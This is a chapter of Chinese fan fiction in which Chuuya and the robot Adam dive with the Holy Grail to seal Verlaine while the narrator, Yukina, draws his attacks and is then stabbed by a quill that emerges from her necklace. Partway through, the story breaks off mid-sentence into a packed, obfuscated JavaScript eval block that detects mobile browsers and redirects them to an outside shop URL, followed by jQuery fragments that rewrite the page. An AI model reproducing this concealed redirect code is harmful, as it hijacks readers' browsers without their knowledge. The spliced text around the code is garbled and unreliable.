24.关于尾声(2)

作品:《我的爸爸在哪里

    “门”被打开了。


    这是天大的好事,因为它代表着【圣杯】已经达到了可以使用的条件。


    同时,这也是天大的坏事。因为它带来了更多的死亡、鲜血、分离与悲鸣。


    不久前,【圣杯】发出哀鸣。


    用中也的话来说,这是它在呼唤,所以二者先行离开。算算时间,此刻他们应该已经抵达横滨上空,预备着最后一击。


    二者会带着【圣杯】从飞机上下落,在触碰到目标时将其封印。


    所以,黑-手-党要做的事情就是不断吸引魏尔伦的仇恨,为中也争取时间。


    战斗小队没有人对此不满,即使他们会被黑球吞噬,悄无声息地拥抱死亡。


    而这一切的目的也仅仅是为了争取那一秒的时间而已。


    残虐,并且崇高,这是可以交付后背的同伴们。(1)


    我盯着手机屏幕,聊天框里只有一条孤零零的未读信息,是亚当发来的。


    “已准备就绪。”他这么写道。


    然后,就像是潮汐涨落,四季更迭,我妈的话在耳边响起。


    小枝,放手去做你想做的事情吧。


    ——我想做的事吗?


    我望向窗外的黑球和穿着黑色作战服的战斗小队。


    天是黑色的,和它一样,地也是黑色的。


    我想做的事情,就是让那片黑色在未来的某一天,变成彩色。


    “喂——太宰?”我环视一周,搜寻未果后不断呼唤着太宰的名字。


    “所有人——”太宰的声音从头顶传来,我抬头,发现黑发少年此刻正站在车顶上大声叫道,“趴下!”


    车厢外的异能者们开始撤退,黑球越来越大,我和广津柳浪对视一眼,趁机把太宰治拽了下来。


    三个人摔在地上。


    “真是的,这又是什么新型的自-杀方式吗。”我起身拍拍衣服,心有余悸地喃喃道,“什么时候跑到车顶上的?老爷子你有看见吗?”


    广津柳浪摇摇头,“并没有,雪奈大人。”紧接着用有些胆怯的声音问道,“现在是什么情况?”


    “藏在‘门’那边的东西跑出来了,就像几年前的镭体街或者几天前的中心街道一样。”太宰拉着我的手借力起身,面色僵硬地说道,“目前为止都和预想的一切一样,副首领,我们要开始反击了。”


    “可以。”我在对方的目光中缓缓点头,“不过,我刚才已经下令让所有战斗成员撤离了,我想到了更好的办法——可以让黑-手-党损失最小化的,办法。”


    太宰治和广津柳浪沉默了下来,前者若有所思,后者则是态度强硬地反驳道,“您要自己上?不行,这太危险了!”


    而黑发少年与广津柳浪的反应截然不同,他盯着我,语气十分冰冷地问道,“你有几成把握?副首领,您要明白,您的性命远远在那些人之上,如果失败了,我们会付出更惨痛的代价。”


    很残酷,却也是现实。我想了想,决定这么回答他的问题。


    “我有着永远不给你报销螃蟹的把握。”


    黑发少年在此刻露出一个笑容。


    “如您所愿。”他一边说着,一边和广津柳浪朝我行了个礼。


    “如我所愿。”我一边想着,一边推开了车厢门。


    ****


    与此同时,横滨上空,一架小型螺旋桨飞机正在飞翔。


    “中也大人!我们可以进攻了。”摁灭雪奈大人的聊天框,亚当大声叫道。


    “知道。”坐在后排的中也深吸一口气,“我时刻都在准备着,亚当,你呢?”


    “和您一样,时刻准备着。”亚当摁下弹射按钮。飞机在此刻倒转着解体,二者的座位像炮弹一样冲向黑色的球体。


    一望无际的黑色,神秘、寂静、残忍。


    打破这一现象的是,凭空出现的那一抹白。


    中也眨眨眼。


    ****


    “【汝之憎恨——汝之麻木——汝之绝望——】(1)魏尔伦,我在这里!”我挥动手臂,大声呼唤着,同时发动异能【未来福音】预测着黑球的攻击轨迹,一次次进行着躲避。


    受伤也没关系,哪怕是致死伤我也可以恢复过来。当然,这要感谢我的另一个分支能力——【悬壶救世】


    这么一想,我才是那个最适合牵制魏尔伦的人选来着。


    “第三十七个。”我妈默默地在脑海里计数,过了一会,它又轻声说道,“弹道偏左,这是第三十八个。”


    “也没有很难吧,老妈。”再一次死里逃生后,我看向处于暴怒边缘的怪物笑着说道,“就是每次都要喊这个口号,我的嗓子都哑了。”


    “没办法,只有这个最能吸引魏尔伦的注意力。”我妈停顿了一下,继续说道,“不过现在这个样子已经和魏尔伦沾不上边了。”


    “兰波目前会是什么状态呢?”我停下脚步,望着乌泱泱的天空,突然开口问道。


    我妈的语气里带着些无奈,“我哪知道......你注意点,第三十九个黑球来了,比上一个快了百分之十五。”


    “完了,有点棘手了。”我站在所剩无几的山坡上,朝对方竖起中指,“你就这点能耐吗?”


    黑色的怪物在天空中咆哮着,震碎了月亮与无数的星星。


    我喃喃自语,“嗯,好像更生气了。”


    “它能听懂人话吗?”我妈语气仍旧淡淡的,“第四十个要来了......欸?”


    它小小地惊呼了一声。


    “怎么了?”我发动异能,朝着和黑球相反的轨迹跑去,期间回头看了一眼。


    只这一眼,唯这一眼,便让我陷入了万劫不复之地。


    ****


    坠落的速度撕裂了空气。


    中原中也的耳边全是风声,像一万只恶鬼在尖叫。重力包裹着他和亚当的身体,拖着他们向那团黑球砸去。


    “就是现在,中也大人!”亚当大声呼唤着,打开胸腔。【圣杯】从里面浮起,自动飞到赭发少年手中。


    触感还是温热的。


    “哦哦哦哦哦哦啊啊啊啊啊——”中也大声叫喊着,全力发动异能,重力与【圣杯】融为一体,像是两条奔流的长河一同涌入同一道谷底。


    前方,黑色的能量体像剑一样朝他们刺来。


    太快了,这速度。


    连残影也没有,连看见也是一种奢侈。中原中也改变方向,试图强行用重力将其击回。


    就在那道能量体即将触及中也的身躯之时,它猛地弯折,像是撞上了同级的磁铁,擦着脸砸向地面。


    ——轰。


    地面坍塌了,碎石和尘土一同被吸入黑球内,融化了一切。雪奈的身影一闪而过,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227204|196262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白发像旗帜一样飞扬。


    中也突然想起了旗会。


    “我们不论是谁陷入危机之中,你都会想起这面旗帜,于是都会聚集到这面旗帜之下。”(2)


    “像跳大神一样。”中也笑着,他看向亚当。


    机械面孔上的光学镜片闪了闪。计算机没说话,但那眼神分明在说:您也没好到哪里去。


    下落的速度越来越快。


    眨眼间,他们离目标只剩下短短两百米的距离。


    一百五十米。


    风刮在脸上,透过无尽的黑暗,中也看见了沉睡的魏尔伦。他在呼吸,在脉动,他紧紧捂住心脏,手指的缝隙间透出几道小小的微光,像灵魂一样闪亮。


    一百米。


    亚当的声音被风吹得支离破碎。


    “会赢吗,中也大人?”


    “什么?”


    “我说——我们会赢吗,中也大人!”


    中也裂开嘴角。


    一个疯狂的笑在夜空中显现,带着血气和重力场挤出的牙齿白光。


    “哈,”他放肆大笑着,“这种情况还要立flag吗?!”


    五十米。


    三十米。


    十米——


    【圣杯】在他手里燃烧起来,吞噬一切的颜色从杯口涌出,顺着中也的手臂蔓延,包裹住他的全身,然后——


    轰!


    没有声音,又或者说,声音被那道光吞没了。


    【圣杯】被打开,它像一朵盛开的牡丹花稳稳地、不可抗地包裹住那团黑色的球体。


    光吞噬了一切。


    中叶的眼睛里只剩下纯白,让他想起了飘扬的白发。


    然后,他听见了一声心跳。


    ——咚。


    是魏尔伦的。


    也是他自己的。


    中也闭眼,进入了魏尔伦的记忆里。


    ****


    第四十个球体朝我袭来。


    这很正常,不足以伤到我毫分,毕竟前面三十九道攻击我都稳稳躲过了。


    为了将伤亡最小化,其余人早已撤离了这里,不管是黑-手-党们还是雇来的异能者们。按理来说,方圆百里的地面上只有我一个才对。


    我咽了下口水,不安的情绪顺着身体爬上来。


    那是谁?


    我说的“谁”不是中也亚当,也不是魏尔伦。而是这个从脖子上的项链里、从铜黄色弹-壳里飞出来的,“人”。


    不,这家伙根本没有“人”的样子,更确切地来说,它只是一个圆柱体。


    随后,圆柱体开始不断缩小、再缩小,最后进化出尖尖头和修长的羽毛。


    “躲开,小枝!”


    我妈惊慌的声音在脑海里炸响,但这一切都已经晚了,进化的羽毛笔猛地变大,比山谷高,比古树粗,比非人化的魏尔伦大,然后——猛地刺入我的胸膛。


    也就是这时,我想起了临死前的N。


    他当时看过来的方向,似乎就是我脖子上的这条项链。


    这条作为刑警先生的遗物、作为实验室残影、作为一切起源之地的铜黄色银链。


    “可恶......”我呜咽着开口,就像N临死前一样不甘,最后只化为几道叹息。


    “被摆了一道啊......N这家伙。”


    随后,一片黑暗。